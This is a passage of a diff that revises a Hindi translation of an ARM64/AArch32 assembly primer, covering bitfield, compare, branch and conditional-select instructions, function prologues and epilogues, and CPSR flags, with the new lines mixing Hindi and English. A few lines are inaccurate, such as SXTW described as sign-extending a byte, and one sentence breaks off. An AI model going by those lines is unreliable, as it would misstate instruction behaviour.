जोड़ा जाता है। -- **रोटेट राइट विद एक्सटेंड**: **`ror`** की तरह, लेकिन कैरी ध्वज को "सबसे महत्वपूर्ण बिट" के रूप में। इसलिए कैरी ध्वज को बिट 31 में स्थानांतरित किया जाता है और हटा दिया गया बिट कैरी ध्वज में होता है। -- **`bfm`**: **बिट फील्ड मूव**, ये ऑपरेशन **`0...n`** से बिट्स को एक मान से कॉपी करते हैं और उन्हें **`m..m+n`** में स्थानों पर रखते हैं। **`#s`** सबसे बाईं बिट स्थिति को निर्दिष्ट करता है और **`#r`** दाईं ओर घुमाने की मात्रा को। -- बिटफील्ड मूव: `BFM Xd, Xn, #r` -- साइन बिटफील्ड मूव: `SBFM Xd, Xn, #r, #s` -- अनसाइन बिटफील्ड मूव: `UBFM Xd, Xn, #r, #s` -- **बिटफील्ड निकालें और डालें:** एक रजिस्टर से बिटफील्ड को कॉपी करें और इसे दूसरे रजिस्टर में कॉपी करें। -- **`BFI X1, X2, #3, #4`** X1 के 3वें बिट से X2 के 4 बिट्स डालें। -- **`BFXIL X1, X2, #3, #4`** X2 के 3वें बिट से चार बिट्स निकालें और उन्हें X1 में कॉपी करें। -- **`SBFIZ X1, X2, #3, #4`** X2 से 4 बिट्स को साइन-एक्सटेंड करें और उन्हें X1 में डालें, बिट स्थिति 3 से दाईं बिट्स को शून्य करते हुए। -- **`SBFX X1, X2, #3, #4`** X2 से 4 बिट्स को निकालता है, साइन-एक्सटेंड करता है, और परिणाम को X1 में रखता है। -- **`UBFIZ X1, X2, #3, #4`** X2 से 4 बिट्स को शून्य-एक्सटेंड करता है और उन्हें X1 में डालता है, बिट स्थिति 3 से दाईं बिट्स को शून्य करते हुए। -- **`UBFX X1, X2, #3, #4`** X2 से 4 बिट्स को निकालता है और शून्य-एक्सटेंडेड परिणाम को X1 में रखता है। -- **साइन एक्सटेंड टू X:** एक मान के साइन को बढ़ाता है (या अनसाइन संस्करण में केवल 0 जोड़ता है) ताकि इसके साथ ऑपरेशन किया जा सके: -- **`SXTB X1, W2`** W2 से X1 तक एक बाइट के साइन को बढ़ाता है (`W2` `X2` का आधा है) ताकि 64 बिट्स को भर सके। -- **`SXTH X1, W2`** W2 से X1 तक एक 16-बिट संख्या के साइन को बढ़ाता है ताकि 64 बिट्स को भर सके। -- **`SXTW X1, W2`** W2 से X1 तक एक बाइट के साइन को बढ़ाता है ताकि 64 बिट्स को भर सके। -- **`UXTB X1, W2`** W2 से X1 तक एक बाइट में 0 जोड़ता है (अनसाइन) ताकि 64 बिट्स को भर सके। -- **`extr`:** निर्दिष्ट **रजिस्टरों के जोड़े से बिट्स निकालता है**। -- उदाहरण: `EXTR W3, W2, W1, #3` यह **W1+W2 को जोड़ता है** और **W2 के बिट 3 से W1 के बिट 3 तक** प्राप्त करता है और इसे W3 में संग्रहीत करता है। -- **`cmp`**: **दो रजिस्टरों की तुलना करें** और स्थिति ध्वज सेट करें। यह **`subs`** का एक **उपनाम** है जो गंतव्य रजिस्टर को शून्य रजिस्टर पर सेट करता है। यह जानने के लिए उपयोगी है कि `m == n`। -- यह **`subs`** के समान सिंटैक्स का समर्थन करता है। -- उदाहरण: `cmp x0, x1` — यह `x0` और `x1` में मानों की तुलना करता है और स्थिति ध्वज को तदनुसार सेट करता है। -- **`cmn`**: **नकारात्मक** ऑपरेन्ड की तुलना करें। इस मामले में यह **`adds`** का एक **उपनाम** है और समान सिंटैक्स का समर्थन करता है। यह जानने के लिए उपयोगी है कि `m == -n`। -- **`ccmp`**: शर्तीय तुलना, यह एक तुलना है जो केवल तभी की जाएगी जब एक पूर्ववर्ती तुलना सत्य हो और विशेष रूप से nzcv बिट्स को सेट करेगी। -- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> यदि x1 != x2 और x3 < x4, तो func पर कूदें। -- यह इसलिए है क्योंकि **`ccmp`** केवल तब निष्पादित होगा जब **पिछली `cmp` एक `NE`** थी, यदि यह नहीं थी तो बिट्स `nzcv` को 0 पर सेट कर दिया जाएगा (जो `blt` तुलना को संतुष्ट नहीं करेगा)। -- इसे `ccmn` के रूप में भी उपयोग किया जा सकता है (समान लेकिन नकारात्मक, जैसे `cmp` बनाम `cmn`)। -- **`tst`**: यह जांचता है कि क्या तुलना के मान दोनों 1 हैं (यह किसी भी परिणाम को कहीं भी संग्रहीत किए बिना ANDS की तरह काम करता है)। यह एक रजिस्टर के मान के साथ जांचने और यह देखने के लिए उपयोगी है कि क्या रजिस्टर में निर्दिष्ट मान के बिट्स में से कोई 1 है। -- उदाहरण: `tst X1, #7` जांचें कि क्या X1 के अंतिम 3 बिट्स में से कोई 1 है। -- **`teq`**: XOR ऑपरेशन परिणाम को छोड़कर। -- **`b`**: बिना शर्त शाखा। +- **Logical shift left**: अंत से 0 जोड़ना और बाकी bits को आगे ले जाना (n-गुना 2 से गुणा) +- **Logical shift right**: शुरुआत में 1s जोड़ना नहीं बल्कि 0s जोड़ना जो bits को पीछे ले जाता है (unsigned में n-गुना 2 से विभाजन) +- **Arithmetic shift right**: **`lsr`** जैसा, पर यदि most significant bit 1 हो तो 1s जोड़े जाते हैं (signed में n-गुना 2 से विभाजन) +- **Rotate right**: **`lsr`** जैसा, पर जो हटता है उसे बाईं ओर जोड़ दिया जाता है +- **Rotate Right with Extend**: **`ror`** जैसा, पर carry flag को "most significant bit" के रूप में उपयोग करता है। तो carry flag bit 31 में चला जाता है और हटाया गया bit carry flag में चला जाता है। +- **`bfm`**: **Bit Filed Move**, ये ऑपरेशन किसी मान से bits `0...n` को copy करते हैं और उन्हें positions **`m..m+n`** में रखते हैं। **`#s`** leftmost bit position दर्शाता है और **`#r`** rotate right मात्रा दर्शाता है। +- Bitfield move: `BFM Xd, Xn, #r` +- Signed Bitfield move: `SBFM Xd, Xn, #r, #s` +- Unsigned Bitfield move: `UBFM Xd, Xn, #r, #s` +- **Bitfield Extract and Insert:** एक register से bitfield copy करके दूसरे register में copy करना। +- **`BFI X1, X2, #3, #4`** X2 के 3rd bit से 4 bits X1 में insert करें +- **`BFXIL X1, X2, #3, #4`** X2 के 3rd bit से चार bits निकालें और उन्हें X1 में कॉपी करें +- **`SBFIZ X1, X2, #3, #4`** X2 के 4 bits sign-extend करके X1 में bit position 3 से insert करें और दाईं ओर की बिट्स को zero करें +- **`SBFX X1, X2, #3, #4`** X2 के bit 3 से शुरू होने वाले 4 bits को निकालता है, sign extend करता है, और परिणाम X1 में रखता है +- **`UBFIZ X1, X2, #3, #4`** X2 के 4 bits को zero-extend करके X1 में bit position 3 से insert करता है और दाईं ओर की बिट्स को zero करता है +- **`UBFX X1, X2, #3, #4`** X2 के bit 3 से शुरू होने वाले 4 bits को निकालता है और zero-extended परिणाम X1 में रखता है। +- **Sign Extend To X:** किसी मान के sign को बढ़ाना (या unsigned में 0s जोड़ना) ताकि उस पर operations किए जा सकें: +- **`SXTB X1, W2`** W2 से एक byte का sign extend करके **W2 से X1** (यह `W2` `X2` का आधा है) 64bits भरता है +- **`SXTH X1, W2`** 16bit संख्या का sign extend करके **W2 से X1** 64bits भरता है +- **`SXTW X1, W2`** एक byte का sign extend करके **W2 से X1** 64bits भरता है +- **`UXTB X1, W2`** unsigned में 0s जोड़कर एक byte **W2 से X1** में 64bits भरता है +- **`extr`:** किसी निर्दिष्ट जोड़ी के registers को concatenated मानकर bits निकालता है। +- उदाहरण: `EXTR W3, W2, W1, #3` यह **W1+W2** को concat करेगा और **W2 के bit 3 से लेकर W1 के bit 3 तक** ले कर उसे W3 में स्टोर करेगा। +- **`cmp`**: दो registers की तुलना करता है और condition flags सेट करता है। यह `subs` का एक alias है जो destination register को zero register सेट करता है। यह उपयोगी है यह जानने के लिए कि `m == n`। +- यह `subs` जैसी ही syntax का समर्थन करता है +- उदाहरण: `cmp x0, x1` — यह `x0` और `x1` के मानों की तुलना करता है और condition flags सेट करता है। +- **`cmn`**: Compare negative operand। यह `adds` का alias है और वही syntax सपोर्ट करता है। यह उपयोगी है यह जानने के लिए कि `m == -n`। +- **`ccmp`**: Conditional comparison, यह तुलना केवल तब की जाएगी जब पिछली तुलना true थी और यह विशेष रूप से nzcv bits सेट करेगा। +- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> अगर x1 != x2 और x3 < x4, तो func पर jump करें +- इसका कारण है कि **`ccmp`** केवल तभी निष्पादित होगा जब पिछला `cmp` एक `NE` था, यदि ऐसा नहीं था तो bits `nzcv` को 0 पर सेट कर दिया जाएगा (जो `blt` तुलना को संतुष्ट नहीं करेगा)। +- इसे `ccmn` के रूप में भी इस्तेमाल किया जा सकता है (वही पर negative, जैसे `cmp` बनाम `cmn`)। +- **`tst`**: यह जाँचता है कि तुलना के मानों में से किसी का भी bit 1 है या नहीं (यह ANDS जैसा काम करता है बिना परिणाम को कहीं स्टोर किए)। यह किसी register को किसी मान के साथ जाँचने और यह देखने के लिए उपयोगी है कि register में निर्दिष्ट value के किसी भी bit का मान 1 है या नहीं। +- उदाहरण: `tst X1, #7` जांचें कि X1 के अंतिम 3 bits में से कोई भी 1 है या नहीं +- **`teq`**: XOR ऑपरेशन है जो परिणाम को discard कर देता है +- **`b`**: Unconditional Branch - उदाहरण: `b myFunction` -- ध्यान दें कि यह लिंक रजिस्टर को लौटने के पते से नहीं भरेगा (उपसंहार कॉल के लिए उपयुक्त नहीं है जिसे वापस लौटने की आवश्यकता है)। -- **`bl`**: **लिंक के साथ शाखा**, जिसका उपयोग एक **उपरूटीन** को **कॉल** करने के लिए किया जाता है। **रिटर्न पता `x30` में संग्रहीत होता है**। -- उदाहरण: `bl myFunction` — यह फ़ंक्शन `myFunction` को कॉल करता है और रिटर्न पता `x30` में संग्रहीत करता है। -- ध्यान दें कि यह लिंक रजिस्टर को लौटने के पते से नहीं भरेगा (उपसंहार कॉल के लिए उपयुक्त नहीं है जिसे वापस लौटने की आवश्यकता है)। -- **`blr`**: **रजिस्टर के लिए लिंक के साथ शाखा**, जिसका उपयोग एक **उपरूटीन** को **कॉल** करने के लिए किया जाता है जहाँ लक्ष्य **एक रजिस्टर में निर्दिष्ट** होता है। रिटर्न पता `x30` में संग्रहीत होता है। (यह है -- उदाहरण: `blr x1` — यह उस फ़ंक्शन को कॉल करता है जिसका पता `x1` में है और रिटर्न पता `x30` में संग्रहीत होता है। -- **`ret`**: **उपरूटीन** से **लौटें**, आमतौर पर **`x30`** में पते का उपयोग करते हुए। -- उदाहरण: `ret` — यह वर्तमान उपरूटीन से लौटता है जो `x30` में लौटने के पते का उपयोग करता है। -- **`b.`**: शर्तीय शाखाएँ। -- **`b.eq`**: **बराबर होने पर शाखा**, पिछले `cmp` निर्देश के आधार पर। -- उदाहरण: `b.eq label` — यदि पिछले `cmp` निर्देश ने दो समान मान पाए, तो यह `label` पर कूदता है। -- **`b.ne`**: **बराबर नहीं होने पर शाखा**। यह निर्देश स्थिति ध्वजों की जांच करता है (जो पिछले तुलना निर्देश द्वारा सेट किए गए थे), और यदि तुलना किए गए मान समान नहीं थे, तो यह एक लेबल या पते पर शाखा करता है। -- उदाहरण: `cmp x0, x1` निर्देश के बाद, `b.ne label` — यदि `x0` और `x1` में मान समान नहीं थे, तो यह `label` पर कूदता है। -- **`cbz`**: **शून्य पर तुलना करें और शाखा करें**। यह निर्देश एक रजिस्टर की तुलना शून्य से करता है, और यदि वे समान हैं, तो यह एक लेबल या पते पर शाखा करता है। -- उदाहरण: `cbz x0, label` — यदि `x0` में मान शून्य है, तो यह `label` पर कूदता है। -- **`cbnz`**: **गैर-शून्य पर तुलना करें और शाखा करें**। यह निर्देश एक रजिस्टर की तुलना शून्य से करता है, और यदि वे समान नहीं हैं, तो यह एक लेबल या पते पर शाखा करता है। -- उदाहरण: `cbnz x0, label` — यदि `x0` में मान गैर-शून्य है, तो यह `label` पर कूदता है। -- **`tbnz`**: बिट का परीक्षण करें और गैर-शून्य पर शाखा करें। +- ध्यान दें कि यह link register में return address नहीं भरेगा (subroutine calls के लिए जो वापस लौटना आवश्यक है, यह उपयुक्त नहीं है) +- **`bl`**: **Branch** with link, subroutine को कॉल करने के लिए उपयोग किया जाता है। यह **return address** को **`x30`** में स्टोर करता है। +- उदाहरण: `bl myFunction` — यह function `myFunction` को कॉल करता है और return address को `x30` में स्टोर करता है। +- ध्यान दें कि यह link register में return address नहीं भरेगा (subroutine calls के लिए जो वापस लौटना आवश्यक है, यह उपयुक्त नहीं है) +- **`blr`**: **Branch** with Link to Register, subroutine को कॉल करने के लिए उपयोग की जाती है जहाँ लक्ष्य एक register में निर्दिष्ट होता है। यह return address को `x30` में स्टोर करता है। (यह) +- उदाहरण: `blr x1` — यह उस फ़ंक्शन को कॉल करता है जिसका address `x1` में है और return address को `x30` में स्टोर करता है। +- **`ret`**: subroutine से **Return**, सामान्यतः **`x30`** में मौजूद address का उपयोग करते हुए। +- उदाहरण: `ret` — यह वर्तमान subroutine से `x30` में मौजूद return address का उपयोग करके लौटता है। +- **`b.`**: Conditional branches +- **`b.eq`**: **Branch if equal**, पिछली `cmp` instruction पर आधारित। +- उदाहरण: `b.eq label` — यदि पिछली `cmp` instruction ने दो मानों को equal पाया, तो यह `label` पर जंप करेगा। +- **`b.ne`**: **Branch if Not Equal**। यह instruction condition flags की जाँच करती है (जो पिछली comparison instruction द्वारा सेट किए गए थे), और यदि तुलना किए गए मान समान नहीं थे, तो यह label या address पर branch करेगा। +- उदाहरण: `cmp x0, x1` के बाद, `b.ne label` — यदि `x0` और `x1` के मान समान नहीं थे, तो यह `label` पर जंप करेगा। +- **`cbz`**: **Compare and Branch on Zero**। यह instruction किसी register की तुलना शून्य से करती है, और यदि वे समान हैं, तो यह label या address पर branch करती है। +- उदाहरण: `cbz x0, label` — यदि `x0` का मान शून्य है, तो यह `label` पर जंप करेगा। +- **`cbnz`**: **Compare and Branch on Non-Zero**। यह instruction किसी register की तुलना शून्य से करती है, और यदि वे समान नहीं हैं, तो यह label या address पर branch करती है। +- उदाहरण: `cbnz x0, label` — यदि `x0` का मान शून्य नहीं है, तो यह `label` पर जंप करेगा। +- **`tbnz`**: Test bit and branch on nonzero - उदाहरण: `tbnz x0, #8, label` -- **`tbz`**: बिट का परीक्षण करें और शून्य पर शाखा करें। +- **`tbz`**: Test bit and branch on zero - उदाहरण: `tbz x0, #8, label` -- **शर्तीय चयन संचालन**: ये संचालन हैं जिनका व्यवहार शर्तीय बिट्स के आधार पर भिन्न होता है। -- `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> यदि सत्य है, तो X0 = X1, यदि गलत है, तो X0 = X2 -- `csinc Xd, Xn, Xm, cond` -> यदि सत्य है, तो Xd = Xn, यदि गलत है, तो Xd = Xm + 1 -- `cinc Xd, Xn, cond` -> यदि सत्य है, तो Xd = Xn + 1, यदि गलत है, तो Xd = Xn -- `csinv Xd, Xn, Xm, cond` -> यदि सत्य है, तो Xd = Xn, यदि गलत है, तो Xd = NOT(Xm) -- `cinv Xd, Xn, cond` -> यदि सत्य है, तो Xd = NOT(Xn), यदि गलत है, तो Xd = Xn -- `csneg Xd, Xn, Xm, cond` -> यदि सत्य है, तो Xd = Xn, यदि गलत है, तो Xd = - Xm -- `cneg Xd, Xn, cond` -> यदि सत्य है, तो Xd = - Xn, यदि गलत है, तो Xd = Xn -- `cset Xd, Xn, Xm, cond` -> यदि सत्य है, तो Xd = 1, यदि गलत है, तो Xd = 0 -- `csetm Xd, Xn, Xm, cond` -> यदि सत्य है, तो Xd = \<सभी 1>, यदि गलत है, तो Xd = 0 -- **`adrp`**: एक प्रतीक का **पृष्ठ पता** गणना करें और इसे एक रजिस्टर में संग्रहीत करें। -- उदाहरण: `adrp x0, symbol` — यह `symbol` का पृष्ठ पता गणना करता है और इसे `x0` में संग्रहीत करता है। -- **`ldrsw`**: **मेमोरी** से एक साइन **32-बिट** मान लोड करें और इसे **64** बिट्स में **साइन-एक्सटेंड** करें। -- उदाहरण: `ldrsw x0, [x1]` — यह `x1` द्वारा इंगित मेमोरी स्थान से एक साइन 32-बिट मान लोड करता है, इसे 64 बिट्स में साइन-एक्सटेंड करता है, और इसे `x0` में संग्रहीत करता है। -- **`stur`**: **एक रजिस्टर मान को एक मेमोरी स्थान** में संग्रहीत करें, जो दूसरे रजिस्टर से एक ऑफसेट का उपयोग करता है। -- उदाहरण: `stur x0, [x1, #4]` — यह `x0` में मान को उस मेमोरी पते में संग्रहीत करता है जो `x1` में वर्तमान पते से 4 बाइट अधिक है। -- **`svc`** : एक **सिस्टम कॉल** करें। इसका अर्थ "सुपरवाइज़र कॉल" है। जब प्रोसेसर इस निर्देश को निष्पादित करता है, तो यह **उपयोगकर्ता मोड से कर्नेल मोड में स्विच करता है** और मेमोरी में एक विशिष्ट स्थान पर कूदता है जहाँ **कर्नेल का सिस्टम कॉल हैंडलिंग** कोड स्थित है। +- **Conditional select operations**: ये ऑपरेशंस उनके conditional bits के आधार पर व्यवहार बदलते हैं। +- `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> अगर true है तो X0 = X1, अगर false है तो X0 = X2 +- `csinc Xd, Xn, Xm, cond` -> अगर true है तो Xd = Xn, अगर false है तो Xd = Xm + 1 +- `cinc Xd, Xn, cond` -> अगर true है तो Xd = Xn + 1, अगर false है तो Xd = Xn +- `csinv Xd, Xn, Xm, cond` -> अगर true है तो Xd = Xn, अगर false है तो Xd = NOT(Xm) +- `cinv Xd, Xn, cond` -> अगर true है तो Xd = NOT(Xn), अगर false है तो Xd = Xn +- `csneg Xd, Xn, Xm, cond` -> अगर true है तो Xd = Xn, अगर false है तो Xd = - Xm +- `cneg Xd, Xn, cond` -> अगर true है तो Xd = - Xn, अगर false है तो Xd = Xn +- `cset Xd, Xn, Xm, cond` -> अगर true है तो Xd = 1, अगर false है तो Xd = 0 +- `csetm Xd, Xn, Xm, cond` -> अगर true है तो Xd = \, अगर false है तो Xd = 0 +- **`adrp`**: किसी symbol का **page address** compute करना और उसे एक register में store करना। +- उदाहरण: `adrp x0, symbol` — यह `symbol` का page address compute करता है और उसे `x0` में स्टोर करता है। +- **`ldrsw`**: memory से signed **32-bit** मान load करना और उसे **64** bit में sign-extend करना। +- उदाहरण: `ldrsw x0, [x1]` — यह `x1` द्वारा संकेतित memory location से signed 32-bit मान लोड करता है, उसे 64 बिट में sign-extend कर के `x0` में संग्रहीत कर देता है। +- **`stur`**: offset के साथ किसी अन्य register से एक memory location पर register मान को store करना। +- उदाहरण: `stur x0, [x1, #4]` — यह `x0` का मान उस memory address में स्टोर करता है जो वर्तमान में `x1` के address से 4 bytes बड़ा है। +- **`svc`** : System call बनाना। इसका पूरा नाम "Supervisor Call" है। जब processor इस instruction को निष्पादित करता है, तो यह **user mode से kernel mode** में स्विच करता है और उस memory location पर कूदता है जहाँ kernel का system call handling code स्थित होता है। - उदाहरण: ```armasm -mov x8, 93 ; रजिस्टर x8 में निकासी के लिए सिस्टम कॉल नंबर (93) लोड करें। -mov x0, 0 ; रजिस्टर x0 में निकासी स्थिति कोड (0) लोड करें। -svc 0 ; सिस्टम कॉल करें। +mov x8, 93 ; Load the system call number for exit (93) into register x8. +mov x0, 0 ; Load the exit status code (0) into register x0. +svc 0 ; Make the system call. ``` -### **फंक्शन प्रस्तावना** +### **Function Prologue** -1. **लिंक रजिस्टर और फ्रेम पॉइंटर को स्टैक में सहेजें**: +1. **Save the link register and frame pointer to the stack**: ```armasm stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer ``` -2. **नया फ्रेम पॉइंटर सेट करें**: `mov x29, sp` (वर्तमान फ़ंक्शन के लिए नया फ्रेम पॉइंटर सेट करता है) -3. **स्थानीय चर के लिए स्टैक पर स्थान आवंटित करें** (यदि आवश्यक हो): `sub sp, sp, ` (जहाँ `` आवश्यक बाइट्स की संख्या है) +2. **नए frame pointer को सेट करें**: `mov x29, sp` (वर्तमान फ़ंक्शन के लिए नया frame pointer सेट करता है) +3. **स्टैक पर local variables के लिए जगह आरक्षित करें** (यदि आवश्यक): `sub sp, sp, ` (जहाँ `` आवश्यक बाइट्स की संख्या है) -### **फ़ंक्शन एपिलॉग** +### **Function Epilogue** -1. **स्थानीय चर को डिआलोकेट करें (यदि कोई आवंटित किया गया था)**: `add sp, sp, ` -2. **लिंक रजिस्टर और फ्रेम पॉइंटर को पुनर्स्थापित करें**: +1. **यदि कोई local variables अलोकेट किए गए थे तो उन्हें डिअलोकेट करें**: `add sp, sp, ` +2. **link register और frame pointer को पुनर्स्थापित करें**: ```armasm ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer ``` -3. **Return**: `ret` (कॉलर को नियंत्रण लौटाता है जो लिंक रजिस्टर में पते का उपयोग करता है) +3. **वापसी**: `ret` (लिंक रजिस्टर में मौजूद address का उपयोग करके caller को नियंत्रण वापस करता है) ## AARCH32 निष्पादन स्थिति -Armv8-A 32-बिट प्रोग्रामों के निष्पादन का समर्थन करता है। **AArch32** **`A32`** और **`T32`** के **दो निर्देश सेटों** में से एक में चल सकता है और **`interworking`** के माध्यम से उनके बीच स्विच कर सकता है।\ -**विशिष्ट** 64-बिट प्रोग्राम 32-बिट प्रोग्रामों के **निष्पादन** को निम्न विशेषाधिकार 32-बिट में अपवाद स्तर स्थानांतरण को निष्पादित करके शेड्यूल कर सकते हैं।\ -ध्यान दें कि 64-बिट से 32-बिट में संक्रमण एक निम्न अपवाद स्तर के साथ होता है (उदाहरण के लिए, EL1 में एक 64-बिट प्रोग्राम EL0 में एक प्रोग्राम को ट्रिगर करता है)। यह तब किया जाता है जब `AArch32` प्रक्रिया थ्रेड निष्पादित होने के लिए तैयार होती है और **`SPSR_ELx`** विशेष रजिस्टर के **बिट 4 को 1** पर सेट किया जाता है और `SPSR_ELx` का शेष भाग **`AArch32`** प्रोग्रामों का CPSR संग्रहीत करता है। फिर, विशेषाधिकार प्राप्त प्रक्रिया **`ERET`** निर्देश को कॉल करती है ताकि प्रोसेसर **`AArch32`** में प्रवेश करे, जो CPSR के आधार पर A32 या T32 में प्रवेश करता है। +Armv8-A 32-bit प्रोग्रामों के निष्पादन का समर्थन करता है। **AArch32** दो **निर्देश सेट** में से किसी एक में चल सकता है: **`A32`** और **`T32`**, और इनके बीच **`interworking`** के माध्यम से स्विच कर सकता है.\ +**Privileged** 64-bit प्रोग्राम कम privileges वाले 32-bit पर exception level transfer करके **32-bit प्रोग्रामों के निष्पादन** को schedule कर सकते हैं.\ +ध्यान दें कि 64-bit से 32-bit में संक्रमण एक निचले exception level पर होता है (उदाहरण के लिए EL1 में चल रहा 64-bit प्रोग्राम EL0 में एक प्रोग्राम trigger करता है)। यह तब किया जाता है जब `AArch32` process thread execute करने के लिए तैयार होता है: special register **`SPSR_ELx`** का **bit 4** को **1** पर सेट किया जाता है और `SPSR_ELx` का शेष भाग `AArch32` प्रोग्राम का CPSR संग्रहीत करता है। इसके बाद, privileged process **`ERET`** instruction को कॉल करता है ताकि processor **`AArch32`** में transition कर सके और CPSR के अनुसार A32 या T32 में प्रवेश करे। -**`interworking`** CPSR के J और T बिट्स का उपयोग करके होता है। `J=0` और `T=0` का अर्थ है **`A32`** और `J=0` और `T=1` का अर्थ है **T32**। यह मूल रूप से सबसे कम बिट को 1 पर सेट करने का संकेत देता है कि निर्देश सेट T32 है।\ -यह **interworking शाखा निर्देशों** के दौरान सेट किया जाता है, लेकिन अन्य निर्देशों के साथ सीधे भी सेट किया जा सकता है जब PC को गंतव्य रजिस्टर के रूप में सेट किया जाता है। उदाहरण: +The **`interworking`** occurs using the J and T bits of CPSR. `J=0` and `T=0` means **`A32`** and `J=0` and `T=1` means **T32**. This basically traduces on setting the **lowest bit to 1** to indicate the instruction set is T32.\ +यह **interworking branch instructions,** के दौरान सेट होता है, लेकिन PC को destination register के रूप में सेट करने पर अन्य instructions के साथ भी सीधे सेट किया जा सकता है। Example: -एक और उदाहरण: +Another example: ```armasm _start: .code 32 ; Begin using A32 @@ -264,60 +267,60 @@ mov r0, #8 ``` ### Registers -16 32-बिट रजिस्टर (r0-r15) हैं। **r0 से r14** का उपयोग **किसी भी ऑपरेशन** के लिए किया जा सकता है, हालांकि इनमें से कुछ आमतौर पर आरक्षित होते हैं: +There are 16 32-bit registers (r0-r15). **From r0 to r14** they can be used for **any operation**, however some of them are usually reserved: -- **`r15`**: प्रोग्राम काउंटर (हमेशा)। अगले निर्देश का पता रखता है। A32 में वर्तमान + 8, T32 में, वर्तमान + 4। -- **`r11`**: फ्रेम पॉइंटर -- **`r12`**: इंट्रा-प्रोसीजरल कॉल रजिस्टर -- **`r13`**: स्टैक पॉइंटर -- **`r14`**: लिंक रजिस्टर +- **`r15`**: Program counter (always). Contains the address of the next instruction. In A32 current + 8, in T32, current + 4. +- **`r11`**: Frame Pointer +- **`r12`**: Intra-procedural call register +- **`r13`**: Stack Pointer (Note the stack is always 16-byte aligned) +- **`r14`**: Link Register -इसके अलावा, रजिस्टर **`बैंक्ड रजिस्ट्रियों`** में बैकअप होते हैं। ये ऐसे स्थान हैं जो रजिस्टर के मानों को संग्रहीत करते हैं जिससे **अपवाद हैंडलिंग** और विशेषाधिकार प्राप्त ऑपरेशनों में **तेज़ संदर्भ स्विचिंग** करना संभव होता है ताकि हर बार मैन्युअल रूप से रजिस्टर को सहेजने और पुनर्स्थापित करने की आवश्यकता न हो।\ -यह **`CPSR`** से प्रोसेसर मोड के **`SPSR`** में प्रोसेसर स्थिति को सहेजकर किया जाता है जिसमें अपवाद लिया जाता है। अपवाद लौटने पर, **`CPSR`** को **`SPSR`** से पुनर्स्थापित किया जाता है। +Moreover, registers are backed up in **`banked registries`**. Which are places that store the registers values allowing to perform **fast context switching** in exception handling and privileged operations to avoid the need to manually save and restore registers every time.\ +This is done by **saving the processor state from the `CPSR` to the `SPSR`** of the processor mode to which the exception is taken. On the exception returns, the **`CPSR`** is restored from the **`SPSR`**. -### CPSR - वर्तमान प्रोग्राम स्थिति रजिस्टर +### CPSR - वर्तमान प्रोग्राम स्टेटस रजिस्टर -AArch32 में CPSR AArch64 में **`PSTATE`** के समान काम करता है और इसे अपवाद लिए जाने पर बाद में निष्पादन को पुनर्स्थापित करने के लिए **`SPSR_ELx`** में भी संग्रहीत किया जाता है: +In AArch32 the CPSR works similar to **`PSTATE`** in AArch64 and is also stored in **`SPSR_ELx`** when a exception is taken to restore later the execution:
-फील्ड कुछ समूहों में विभाजित हैं: +The fields are divided in some groups: -- एप्लिकेशन प्रोग्राम स्थिति रजिस्टर (APSR): अंकगणितीय ध्वज और EL0 से सुलभ -- निष्पादन स्थिति रजिस्टर: प्रक्रिया का व्यवहार (OS द्वारा प्रबंधित)। +- Application Program Status Register (APSR): Arithmetic flags and accesible from EL0 +- Execution State Registers: Process behaviour (managed by the OS). -#### एप्लिकेशन प्रोग्राम स्थिति रजिस्टर (APSR) +#### Application Program Status Register (APSR) -- **`N`**, **`Z`**, **`C`**, **`V`** ध्वज (AArch64 की तरह ही) -- **`Q`** ध्वज: इसे 1 पर सेट किया जाता है जब भी **पूर्णांक संतृप्ति होती है** एक विशेष संतृप्ति अंकगणितीय निर्देश के निष्पादन के दौरान। एक बार इसे **`1`** पर सेट करने के बाद, यह मान बनाए रखेगा जब तक इसे मैन्युअल रूप से 0 पर सेट नहीं किया जाता। इसके अलावा, कोई ऐसा निर्देश नहीं है जो इसके मान की जांच स्वचालित रूप से करता है, इसे मैन्युअल रूप से पढ़कर किया जाना चाहिए। -- **`GE`** (बड़ा या समान) ध्वज: इसका उपयोग SIMD (सिंगल इंस्ट्रक्शन, मल्टीपल डेटा) ऑपरेशनों में किया जाता है, जैसे "समानांतर जोड़" और "समानांतर घटाना"। ये ऑपरेशन एक ही निर्देश में कई डेटा बिंदुओं को संसाधित करने की अनुमति देते हैं। +- The **`N`**, **`Z`**, **`C`**, **`V`** flags (just like in AArch64) +- The **`Q`** flag: It's set to 1 whenever **integer saturation occurs** during the execution of a specialized saturating arithmetic instruction. Once it's set to **`1`**, it'll maintain the value until it's manually set to 0. Moreover, there isn't any instruction that checks its value implicitly, it must be done reading it manually. +- **`GE`** (Greater than or equal) Flags: It's used in SIMD (Single Instruction, Multiple Data) operations, such as "parallel add" and "parallel subtract". These operations allow processing multiple data points in a single instruction. -उदाहरण के लिए, **`UADD8`** निर्देश **चार जोड़े बाइट्स** (दो 32-बिट ऑपरेन्ड से) को समानांतर में जोड़ता है और परिणामों को 32-बिट रजिस्टर में संग्रहीत करता है। फिर यह **`APSR`** में इन परिणामों के आधार पर **`GE`** ध्वज सेट करता है। प्रत्येक GE ध्वज एक बाइट जोड़ के लिए संबंधित होता है, यह दर्शाते हुए कि उस बाइट जोड़े के लिए जोड़ **ओवरफ्लो** हुआ या नहीं। +For example, the **`UADD8`** instruction **adds four pairs of bytes** (from two 32-bit operands) in parallel and stores the results in a 32-bit register. It then **sets the `GE` flags in the `APSR`** based on these results. Each GE flag corresponds to one of the byte additions, indicating if the addition for that byte pair **overflowed**. -**`SEL`** निर्देश इन GE ध्वजों का उपयोग करके शर्तीय क्रियाएँ करता है। +The **`SEL`** instruction uses these GE flags to perform conditional actions. -#### निष्पादन स्थिति रजिस्टर +#### Execution State Registers -- **`J`** और **`T`** बिट्स: **`J`** को 0 होना चाहिए और यदि **`T`** 0 है तो A32 निर्देश सेट का उपयोग किया जाता है, और यदि यह 1 है, तो T32 का उपयोग किया जाता है। -- **IT ब्लॉक स्थिति रजिस्टर** (`ITSTATE`): ये 10-15 और 25-26 से बिट्स हैं। ये **`IT`** उपसर्गित समूह के भीतर निर्देशों के लिए शर्तें संग्रहीत करते हैं। -- **`E`** बिट: **एंडियननेस** को दर्शाता है। -- **मोड और अपवाद मास्क बिट्स** (0-4): ये वर्तमान 